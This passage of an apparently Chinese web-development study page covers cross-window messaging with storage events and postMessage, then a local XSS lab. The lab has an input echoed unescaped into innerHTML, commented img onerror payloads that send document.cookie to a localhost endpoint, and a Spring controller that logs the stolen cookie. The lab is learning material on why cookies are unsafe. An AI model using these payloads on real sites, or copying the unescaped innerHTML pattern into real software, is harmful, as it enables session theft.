<span class="line"><span style="color:#E5C07B">        window</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">addEventListener</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">'storage'</span><span style="color:#ABB2BF">, </span><span style="color:#C678DD">function</span><span style="color:#ABB2BF"> (</span><span style="color:#E06C75;font-style:italic">event</span><span style="color:#ABB2BF">) {</span></span>
<span class="line"><span style="color:#E5C07B">            console</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">log</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">'缓存被修改'</span><span style="color:#ABB2BF">);</span></span>
<span class="line"><span style="color:#ABB2BF">        });</span></span>
<span class="line"><span style="color:#ABB2BF">    &#x3C;/</span><span style="color:#E06C75">script</span><span style="color:#ABB2BF">></span></span>
<span class="line"><span style="color:#ABB2BF">&#x3C;/</span><span style="color:#E06C75">body</span><span style="color:#ABB2BF">></span></span>
<span class="line"><span style="color:#ABB2BF">&#x3C;/</span><span style="color:#E06C75">html</span><span style="color:#ABB2BF">></span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div><div class="collapsed-lines"></div></div><p><a href="https://blog.csdn.net/document_dom/article/details/108475371" target="_blank" rel="noopener noreferrer">js 同源页面间通信 storage 和跨域页面间通信 postMessage_js postmessage-CSDN博客</a></p>
<h3 id="同域窗口通信" tabindex="-1"><a class="header-anchor" href="#同域窗口通信"><span>同域窗口通信</span></a></h3>
<p>完成一个白色背景下黑色DIV根据键盘上下左右移动的demo，要求是在同域下的其中一个窗体操作，另外一个窗体移动DIV</p>
<div class="language-html line-numbers-mode has-collapsed-lines collapsed" data-highlighter="shiki" data-ext="html" style="--vp-collapsed-lines:15;background-color:#282c34;color:#abb2bf"><pre class="shiki one-dark-pro vp-code" v-pre=""><code><span class="line"><span style="color:#ABB2BF">&#x3C;!</span><span style="color:#E06C75">DOCTYPE</span><span style="color:#D19A66"> html</span><span style="color:#ABB2BF">></span></span>
<span class="line"><span style="color:#ABB2BF">&#x3C;</span><span style="color:#E06C75">html</span><span style="color:#D19A66"> lang</span><span style="color:#ABB2BF">=</span><span style="color:#98C379">"en"</span><span style="color:#ABB2BF">></span></span>
<span class="line"></span>
<span class="line"><span style="color:#ABB2BF">&#x3C;</span><span style="color:#E06C75">head</span><span style="color:#ABB2BF">></span></span>
<span class="line"><span style="color:#ABB2BF">    &#x3C;</span><span style="color:#E06C75">meta</span><span style="color:#D19A66"> charset</span><span style="color:#ABB2BF">=</span><span style="color:#98C379">"UTF-8"</span><span style="color:#ABB2BF">></span></span>
<span class="line"><span style="color:#ABB2BF">    &#x3C;</span><span style="color:#E06C75">meta</span><span style="color:#D19A66"> name</span><span style="color:#ABB2BF">=</span><span style="color:#98C379">"viewport"</span><span style="color:#D19A66"> content</span><span style="color:#ABB2BF">=</span><span style="color:#98C379">"width=device-width, initial-scale=1.0"</span><span style="color:#ABB2BF">></span></span>
<span class="line"><span style="color:#ABB2BF">    &#x3C;</span><span style="color:#E06C75">title</span><span style="color:#ABB2BF">>A&#x3C;/</span><span style="color:#E06C75">title</span><span style="color:#ABB2BF">></span></span>
<span class="line"><span style="color:#ABB2BF">    &#x3C;</span><span style="color:#E06C75">script</span><span style="color:#ABB2BF">></span></span>
<span class="line"><span style="color:#C678DD">        const</span><span style="color:#E5C07B"> targetWindow</span><span style="color:#56B6C2"> =</span><span style="color:#E5C07B"> window</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">open</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">'B.html'</span><span style="color:#ABB2BF">, </span><span style="color:#98C379">'_blank'</span><span style="color:#ABB2BF">, </span><span style="color:#98C379">'width=400,height=400'</span><span style="color:#ABB2BF">);</span></span>
<span class="line"><span style="color:#E5C07B">        window</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">addEventListener</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">'keydown'</span><span style="color:#ABB2BF">, (</span><span style="color:#E06C75;font-style:italic">event</span><span style="color:#ABB2BF">) </span><span style="color:#C678DD">=></span><span style="color:#ABB2BF"> {</span></span>
<span class="line"><span style="color:#C678DD">            let</span><span style="color:#E06C75"> direction</span><span style="color:#56B6C2"> =</span><span style="color:#98C379"> ''</span><span style="color:#ABB2BF">;</span></span>
<span class="line"><span style="color:#C678DD">            switch</span><span style="color:#ABB2BF"> (</span><span style="color:#E5C07B">event</span><span style="color:#ABB2BF">.</span><span style="color:#E06C75">key</span><span style="color:#ABB2BF">) {</span></span>
<span class="line"><span style="color:#C678DD">                case</span><span style="color:#98C379"> 'ArrowUp'</span><span style="color:#ABB2BF">:</span></span>
<span class="line"><span style="color:#E06C75">                    direction</span><span style="color:#56B6C2"> =</span><span style="color:#98C379"> 'up'</span><span style="color:#ABB2BF">;</span></span>
<span class="line"><span style="color:#C678DD">                    break</span><span style="color:#ABB2BF">;</span></span>
<span class="line"><span style="color:#C678DD">                case</span><span style="color:#98C379"> 'ArrowDown'</span><span style="color:#ABB2BF">:</span></span>
<span class="line"><span style="color:#E06C75">                    direction</span><span style="color:#56B6C2"> =</span><span style="color:#98C379"> 'down'</span><span style="color:#ABB2BF">;</span></span>
<span class="line"><span style="color:#C678DD">                    break</span><span style="color:#ABB2BF">;</span></span>
<span class="line"><span style="color:#C678DD">                case</span><span style="color:#98C379"> 'ArrowLeft'</span><span style="color:#ABB2BF">:</span></span>
<span class="line"><span style="color:#E06C75">                    direction</span><span style="color:#56B6C2"> =</span><span style="color:#98C379"> 'left'</span><span style="color:#ABB2BF">;</span></span>
<span class="line"><span style="color:#C678DD">                    break</span><span style="color:#ABB2BF">;</span></span>
<span class="line"><span style="color:#C678DD">                case</span><span style="color:#98C379"> 'ArrowRight'</span><span style="color:#ABB2BF">:</span></span>
<span class="line"><span style="color:#E06C75">                    direction</span><span style="color:#56B6C2"> =</span><span style="color:#98C379"> 'right'</span><span style="color:#ABB2BF">;</span></span>
<span class="line"><span style="color:#C678DD">                    break</span><span style="color:#ABB2BF">;</span></span>
<span class="line"><span style="color:#C678DD">                default</span><span style="color:#ABB2BF">:</span></span>
<span class="line"><span style="color:#C678DD">                    return</span><span style="color:#ABB2BF">;</span></span>
<span class="line"><span style="color:#ABB2BF">            }</span></span>
<span class="line"><span style="color:#C678DD">            if</span><span style="color:#ABB2BF"> (</span><span style="color:#E06C75">targetWindow</span><span style="color:#56B6C2"> &#x26;&#x26;</span><span style="color:#56B6C2"> !</span><span style="color:#E5C07B">targetWindow</span><span style="color:#ABB2BF">.</span><span style="color:#E06C75">closed</span><span style="color:#ABB2BF">) {</span></span>
<span class="line"><span style="color:#E5C07B">                targetWindow</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">postMessage</span><span style="color:#ABB2BF">({ </span><span style="color:#E06C75">direction</span><span style="color:#ABB2BF"> }, </span><span style="color:#E5C07B">window</span><span style="color:#ABB2BF">.</span><span style="color:#E5C07B">location</span><span style="color:#ABB2BF">.</span><span style="color:#E06C75">origin</span><span style="color:#ABB2BF">);</span></span>
<span class="line"><span style="color:#ABB2BF">            }</span></span>
<span class="line"><span style="color:#ABB2BF">        });</span></span>
<span class="line"><span style="color:#ABB2BF">    &#x3C;/</span><span style="color:#E06C75">script</span><span style="color:#ABB2BF">></span></span>
<span class="line"><span style="color:#ABB2BF">&#x3C;/</span><span style="color:#E06C75">head</span><span style="color:#ABB2BF">></span></span>
<span class="line"></span>
<span class="line"><span style="color:#ABB2BF">&#x3C;</span><span style="color:#E06C75">body</span><span style="color:#ABB2BF">></span></span>
<span class="line"><span style="color:#ABB2BF">   &#x3C;</span><span style="color:#E06C75">h1</span><span style="color:#ABB2BF">>操控页面&#x3C;/</span><span style="color:#E06C75">h1</span><span style="color:#ABB2BF">></span></span>
<span class="line"><span style="color:#ABB2BF">&#x3C;/</span><span style="color:#E06C75">body</span><span style="color:#ABB2BF">></span></span>
<span class="line"></span>
<span class="line"><span style="color:#ABB2BF">&#x3C;/</span><span style="color:#E06C75">html</span><span style="color:#ABB2BF">></span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div><div class="collapsed-lines"></div></div><div class="language-html line-numbers-mode has-collapsed-lines collapsed" data-highlighter="shiki" data-ext="html" style="--vp-collapsed-lines:15;background-color:#282c34;color:#abb2bf"><pre class="shiki one-dark-pro vp-code" v-pre=""><code><span class="line"><span style="color:#ABB2BF">&#x3C;!</span><span style="color:#E06C75">DOCTYPE</span><span style="color:#D19A66"> html</span><span style="color:#ABB2BF">></span></span>
<span class="line"><span style="color:#ABB2BF">&#x3C;</span><span style="color:#E06C75">html</span><span style="color:#D19A66"> lang</span><span style="color:#ABB2BF">=</span><span style="color:#98C379">"en"</span><span style="color:#ABB2BF">></span></span>
<span class="line"></span>
<span class="line"><span style="color:#ABB2BF">&#x3C;</span><span style="color:#E06C75">head</span><span style="color:#ABB2BF">></span></span>
<span class="line"><span style="color:#ABB2BF">    &#x3C;</span><span style="color:#E06C75">meta</span><span style="color:#D19A66"> charset</span><span style="color:#ABB2BF">=</span><span style="color:#98C379">"UTF-8"</span><span style="color:#ABB2BF">></span></span>
<span class="line"><span style="color:#ABB2BF">    &#x3C;</span><span style="color:#E06C75">meta</span><span style="color:#D19A66"> name</span><span style="color:#ABB2BF">=</span><span style="color:#98C379">"viewport"</span><span style="color:#D19A66"> content</span><span style="color:#ABB2BF">=</span><span style="color:#98C379">"width=device-width, initial-scale=1.0"</span><span style="color:#ABB2BF">></span></span>
<span class="line"><span style="color:#ABB2BF">    &#x3C;</span><span style="color:#E06C75">title</span><span style="color:#ABB2BF">>B&#x3C;/</span><span style="color:#E06C75">title</span><span style="color:#ABB2BF">></span></span>
<span class="line"><span style="color:#ABB2BF">&#x3C;/</span><span style="color:#E06C75">head</span><span style="color:#ABB2BF">></span></span>
<span class="line"></span>
<span class="line"><span style="color:#ABB2BF">&#x3C;</span><span style="color:#E06C75">body</span><span style="color:#ABB2BF">></span></span>
<span class="line"><span style="color:#ABB2BF">    &#x3C;</span><span style="color:#E06C75">div</span><span style="color:#D19A66"> id</span><span style="color:#ABB2BF">=</span><span style="color:#98C379">"div"</span><span style="color:#D19A66"> style</span><span style="color:#ABB2BF">=</span><span style="color:#98C379">"height: 100px; width: 100px; background-color: blue; position: absolute;"</span><span style="color:#ABB2BF">>&#x3C;/</span><span style="color:#E06C75">div</span><span style="color:#ABB2BF">></span></span>
<span class="line"><span style="color:#ABB2BF">    &#x3C;</span><span style="color:#E06C75">script</span><span style="color:#ABB2BF">></span></span>
<span class="line"><span style="color:#C678DD">        const</span><span style="color:#E5C07B"> movingDiv</span><span style="color:#56B6C2"> =</span><span style="color:#E5C07B"> document</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">getElementById</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">'div'</span><span style="color:#ABB2BF">);</span></span>
<span class="line"><span style="color:#C678DD">        const</span><span style="color:#E5C07B"> step</span><span style="color:#56B6C2"> =</span><span style="color:#D19A66"> 10</span><span style="color:#ABB2BF">;</span></span>
<span class="line"><span style="color:#E5C07B">        window</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">addEventListener</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">'message'</span><span style="color:#ABB2BF">, (</span><span style="color:#E06C75;font-style:italic">event</span><span style="color:#ABB2BF">) </span><span style="color:#C678DD">=></span><span style="color:#ABB2BF"> {</span></span>
<span class="line"><span style="color:#E5C07B">            console</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">log</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">'message'</span><span style="color:#ABB2BF">);</span></span>
<span class="line"><span style="color:#C678DD">            const</span><span style="color:#ABB2BF"> { </span><span style="color:#E5C07B">direction</span><span style="color:#ABB2BF"> } </span><span style="color:#56B6C2">=</span><span style="color:#E5C07B"> event</span><span style="color:#ABB2BF">.</span><span style="color:#E06C75">data</span><span style="color:#ABB2BF">;</span></span>
<span class="line"><span style="color:#C678DD">            let</span><span style="color:#E06C75"> currentTop</span><span style="color:#56B6C2"> =</span><span style="color:#61AFEF"> parseInt</span><span style="color:#ABB2BF">(</span><span style="color:#61AFEF">getComputedStyle</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75">movingDiv</span><span style="color:#ABB2BF">).</span><span style="color:#E06C75">top</span><span style="color:#ABB2BF">);</span></span>
<span class="line"><span style="color:#C678DD">            let</span><span style="color:#E06C75"> currentLeft</span><span style="color:#56B6C2"> =</span><span style="color:#61AFEF"> parseInt</span><span style="color:#ABB2BF">(</span><span style="color:#61AFEF">getComputedStyle</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75">movingDiv</span><span style="color:#ABB2BF">).</span><span style="color:#E06C75">left</span><span style="color:#ABB2BF">);</span></span>
<span class="line"><span style="color:#C678DD">            switch</span><span style="color:#ABB2BF"> (</span><span style="color:#E06C75">direction</span><span style="color:#ABB2BF">) {</span></span>
<span class="line"><span style="color:#C678DD">                case</span><span style="color:#98C379"> 'up'</span><span style="color:#ABB2BF">:</span></span>
<span class="line"><span style="color:#E06C75">                    currentTop</span><span style="color:#56B6C2"> -=</span><span style="color:#E06C75"> step</span><span style="color:#ABB2BF">;</span></span>
<span class="line"><span style="color:#C678DD">                    break</span><span style="color:#ABB2BF">;</span></span>
<span class="line"><span style="color:#C678DD">                case</span><span style="color:#98C379"> 'down'</span><span style="color:#ABB2BF">:</span></span>
<span class="line"><span style="color:#E06C75">                    currentTop</span><span style="color:#56B6C2"> +=</span><span style="color:#E06C75"> step</span><span style="color:#ABB2BF">;</span></span>
<span class="line"><span style="color:#C678DD">                    break</span><span style="color:#ABB2BF">;</span></span>
<span class="line"><span style="color:#C678DD">                case</span><span style="color:#98C379"> 'left'</span><span style="color:#ABB2BF">:</span></span>
<span class="line"><span style="color:#E06C75">                    currentLeft</span><span style="color:#56B6C2"> -=</span><span style="color:#E06C75"> step</span><span style="color:#ABB2BF">;</span></span>
<span class="line"><span style="color:#C678DD">                    break</span><span style="color:#ABB2BF">;</span></span>
<span class="line"><span style="color:#C678DD">                case</span><span style="color:#98C379"> 'right'</span><span style="color:#ABB2BF">:</span></span>
<span class="line"><span style="color:#E06C75">                    currentLeft</span><span style="color:#56B6C2"> +=</span><span style="color:#E06C75"> step</span><span style="color:#ABB2BF">;</span></span>
<span class="line"><span style="color:#C678DD">                    break</span><span style="color:#ABB2BF">;</span></span>
<span class="line"><span style="color:#ABB2BF">            }</span></span>
<span class="line"><span style="color:#E5C07B">            movingDiv</span><span style="color:#ABB2BF">.</span><span style="color:#E5C07B">style</span><span style="color:#ABB2BF">.</span><span style="color:#E06C75">top</span><span style="color:#56B6C2"> =</span><span style="color:#98C379"> `</span><span style="color:#C678DD">${</span><span style="color:#E06C75">currentTop</span><span style="color:#C678DD">}</span><span style="color:#98C379">px`</span><span style="color:#ABB2BF">;</span></span>
<span class="line"><span style="color:#E5C07B">            movingDiv</span><span style="color:#ABB2BF">.</span><span style="color:#E5C07B">style</span><span style="color:#ABB2BF">.</span><span style="color:#E06C75">left</span><span style="color:#56B6C2"> =</span><span style="color:#98C379"> `</span><span style="color:#C678DD">${</span><span style="color:#E06C75">currentLeft</span><span style="color:#C678DD">}</span><span style="color:#98C379">px`</span><span style="color:#ABB2BF">;</span></span>
<span class="line"><span style="color:#ABB2BF">        });</span></span>
<span class="line"><span style="color:#ABB2BF">    &#x3C;/</span><span style="color:#E06C75">script</span><span style="color:#ABB2BF">></span></span>
<span class="line"><span style="color:#ABB2BF">&#x3C;/</span><span style="color:#E06C75">body</span><span style="color:#ABB2BF">></span></span>
<span class="line"></span>
<span class="line"><span style="color:#ABB2BF">&#x3C;/</span><span style="color:#E06C75">html</span><span style="color:#ABB2BF">></span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div><div class="collapsed-lines"></div></div><h3 id="xss之cookie外带攻击" tabindex="-1"><a class="header-anchor" href="#xss之cookie外带攻击"><span>XSS之Cookie外带攻击</span></a></h3>
<p>https://www.cnblogs.com/qiushuo/p/17454482.html复现博客中的攻击实验，思考为什么Cookie不安全的原因</p>
<div class="language-html line-numbers-mode has-collapsed-lines collapsed" data-highlighter="shiki" data-ext="html" style="--vp-collapsed-lines:15;background-color:#282c34;color:#abb2bf"><pre class="shiki one-dark-pro vp-code" v-pre=""><code><span class="line"><span style="color:#ABB2BF">&#x3C;!</span><span style="color:#E06C75">DOCTYPE</span><span style="color:#D19A66"> html</span><span style="color:#ABB2BF">></span></span>
<span class="line"><span style="color:#ABB2BF">&#x3C;</span><span style="color:#E06C75">html</span><span style="color:#D19A66"> lang</span><span style="color:#ABB2BF">=</span><span style="color:#98C379">"en"</span><span style="color:#ABB2BF">></span></span>
<span class="line"><span style="color:#ABB2BF">&#x3C;</span><span style="color:#E06C75">head</span><span style="color:#ABB2BF">></span></span>
<span class="line"><span style="color:#ABB2BF">    &#x3C;</span><span style="color:#E06C75">meta</span><span style="color:#D19A66"> charset</span><span style="color:#ABB2BF">=</span><span style="color:#98C379">"UTF-8"</span><span style="color:#ABB2BF">></span></span>
<span class="line"><span style="color:#ABB2BF">    &#x3C;</span><span style="color:#E06C75">meta</span><span style="color:#D19A66"> name</span><span style="color:#ABB2BF">=</span><span style="color:#98C379">"viewport"</span><span style="color:#D19A66"> content</span><span style="color:#ABB2BF">=</span><span style="color:#98C379">"width=device-width, initial-scale=1.0"</span><span style="color:#ABB2BF">></span></span>
<span class="line"><span style="color:#ABB2BF">    &#x3C;</span><span style="color:#E06C75">title</span><span style="color:#ABB2BF">>XSS-Cookies&#x3C;/</span><span style="color:#E06C75">title</span><span style="color:#ABB2BF">></span></span>
<span class="line"><span style="color:#ABB2BF">    &#x3C;</span><span style="color:#E06C75">script</span><span style="color:#ABB2BF">></span></span>
<span class="line"><span style="color:#E5C07B">        document</span><span style="color:#ABB2BF">.</span><span style="color:#E06C75">cookie</span><span style="color:#56B6C2"> =</span><span style="color:#98C379"> "username=John Doe"</span><span style="color:#ABB2BF">;</span></span>
<span class="line"><span style="color:#C678DD">        function</span><span style="color:#61AFEF"> showInput</span><span style="color:#ABB2BF">() {</span></span>
<span class="line"><span style="color:#C678DD">          var</span><span style="color:#E06C75"> inputValue</span><span style="color:#56B6C2"> =</span><span style="color:#E5C07B"> document</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">getElementById</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">'inputBox'</span><span style="color:#ABB2BF">).</span><span style="color:#E06C75">value</span><span style="color:#ABB2BF">;</span></span>
<span class="line"><span style="color:#C678DD">          var</span><span style="color:#E06C75"> out</span><span style="color:#56B6C2"> =</span><span style="color:#E5C07B"> document</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">createElement</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">'div'</span><span style="color:#ABB2BF">);</span></span>
<span class="line"><span style="color:#E5C07B">          out</span><span style="color:#ABB2BF">.</span><span style="color:#E06C75">innerHTML</span><span style="color:#56B6C2"> =</span><span style="color:#98C379"> "你输入的内容是："</span><span style="color:#56B6C2"> +</span><span style="color:#E06C75"> inputValue</span><span style="color:#ABB2BF">;</span></span>
<span class="line"><span style="color:#E5C07B">          document</span><span style="color:#ABB2BF">.</span><span style="color:#E5C07B">body</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">appendChild</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75">out</span><span style="color:#ABB2BF">);</span></span>
<span class="line"><span style="color:#ABB2BF">        }</span></span>
<span class="line"><span style="color:#ABB2BF">    &#x3C;/</span><span style="color:#E06C75">script</span><span style="color:#ABB2BF">></span></span>
<span class="line"><span style="color:#ABB2BF">&#x3C;/</span><span style="color:#E06C75">head</span><span style="color:#ABB2BF">></span></span>
<span class="line"><span style="color:#ABB2BF">&#x3C;</span><span style="color:#E06C75">body</span><span style="color:#ABB2BF">></span></span>
<span class="line"><span style="color:#ABB2BF">    &#x3C;</span><span style="color:#E06C75">input</span><span style="color:#D19A66"> type</span><span style="color:#ABB2BF">=</span><span style="color:#98C379">"text"</span><span style="color:#D19A66"> id</span><span style="color:#ABB2BF">=</span><span style="color:#98C379">"inputBox"</span><span style="color:#ABB2BF"> /></span></span>
<span class="line"><span style="color:#ABB2BF">    &#x3C;</span><span style="color:#E06C75">button</span><span style="color:#D19A66"> onclick</span><span style="color:#ABB2BF">=</span><span style="color:#98C379">"</span><span style="color:#61AFEF">showInput</span><span style="color:#98C379">()"</span><span style="color:#ABB2BF">>提交&#x3C;/</span><span style="color:#E06C75">button</span><span style="color:#ABB2BF">></span></span>
<span class="line"><span style="color:#7F848E;font-style:italic">    &#x3C;!-- &#x3C;img onerror="alert(123)" src="fsd"/> --></span></span>
<span class="line"><span style="color:#7F848E;font-style:italic">    &#x3C;!-- &#x3C;img onerror="new Image().src='http://localhost:2025/cookie?cookie='+document.cookie" src="fsd"/> --></span></span>
<span class="line"><span style="color:#7F848E;font-style:italic">    &#x3C;!-- &#x3C;img src=1 onerror=window.open("http://localhost:2025/cookie?cookie="+document.cookie)> --></span></span>
<span class="line"><span style="color:#ABB2BF">&#x3C;/</span><span style="color:#E06C75">body</span><span style="color:#ABB2BF">></span></span>
<span class="line"><span style="color:#ABB2BF">&#x3C;/</span><span style="color:#E06C75">html</span><span style="color:#ABB2BF">></span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div><div class="collapsed-lines"></div></div><div class="language-java line-numbers-mode has-collapsed-lines collapsed" data-highlighter="shiki" data-ext="java" style="--vp-collapsed-lines:15;background-color:#282c34;color:#abb2bf"><pre class="shiki one-dark-pro vp-code" v-pre=""><code><span class="line"><span style="color:#C678DD">package</span><span style="color:#C678DD"> xyz.hmz.backend.controller</span><span style="color:#ABB2BF">;</span></span>
<span class="line"></span>
<span class="line"><span style="color:#C678DD">import</span><span style="color:#E5C07B"> org.springframework.web.bind.annotation.GetMapping</span><span style="color:#ABB2BF">;</span></span>
<span class="line"><span style="color:#C678DD">import</span><span style="color:#E5C07B"> org.springframework.web.bind.annotation.RestController</span><span style="color:#ABB2BF">;</span></span>
<span class="line"></span>
<span class="line"><span style="color:#7F848E;font-style:italic">/**</span></span>
<span class="line"><span style="color:#7F848E;font-style:italic"> * @Author haomingze</span></span>
<span class="line"><span style="color:#7F848E;font-style:italic"> * @Date 2025/4/18 12:47</span></span>
<span class="line"><span style="color:#7F848E;font-style:italic"> * @description:</span></span>
<span class="line"><span style="color:#7F848E;font-style:italic"> */</span></span>
<span class="line"><span style="color:#ABB2BF">@</span><span style="color:#E5C07B">RestController</span></span>
<span class="line"><span style="color:#C678DD">public</span><span style="color:#C678DD"> class</span><span style="color:#E5C07B"> CookieController</span><span style="color:#ABB2BF"> {</span></span>
<span class="line"></span>
<span class="line"><span style="color:#ABB2BF">    @</span><span style="color:#E5C07B">GetMapping</span><span style="color:#E06C75">(</span><span style="color:#98C379">"/cookie"</span><span style="color:#E06C75">)</span></span>
<span class="line"><span style="color:#C678DD">    public</span><span style="color:#E5C07B"> String</span><span style="color:#61AFEF"> cookie</span><span style="color:#ABB2BF">(</span><span style="color:#E5C07B">String</span><span style="color:#E06C75;font-style:italic"> cookie</span><span style="color:#ABB2BF">){</span></span>
<span class="line"><span style="color:#E5C07B">        System</span><span style="color:#ABB2BF">.</span><span style="color:#E5C07B">err</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">println</span><span style="color:#ABB2BF">(cookie);</span></span>
<span class="line"><span style="color:#C678DD">        return</span><span style="color:#98C379"> ""</span><span style="color:#ABB2BF">;</span></span>
<span class="line"><span style="color:#ABB2BF">    }</span></span>
<span class="line"></span>
<span class="line"><span style="color:#ABB2BF">}</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div><div class="collapsed-lines"></div></div><blockquote>
<p><a href="https://blog.csdn.net/DisMisPres/article/details/128486386" target="_blank" rel="noopener noreferrer">WEB 安全，浅谈 XSS 攻击（附简单实例）_xss攻击实例-CSDN博客</a></p>
<p><a href="https://cloud.tencent.com/developer/article/1988524" target="_blank" rel="noopener noreferrer">小白都能看懂的xss原理解析与窃取用户cookie并实现越权实战，看不懂拿板砖敲我！-腾讯云开发者社区-腾讯云</a></p>
<p>为什么当注入script标签的时候不执行? 答: 现代浏览器基本已经做了对XSS攻击的防御，所以不会直接执行script标签</p>
<p>现在只能通过img标签等了了几种标签才能注入了</p>
</blockquote>
</div></template>


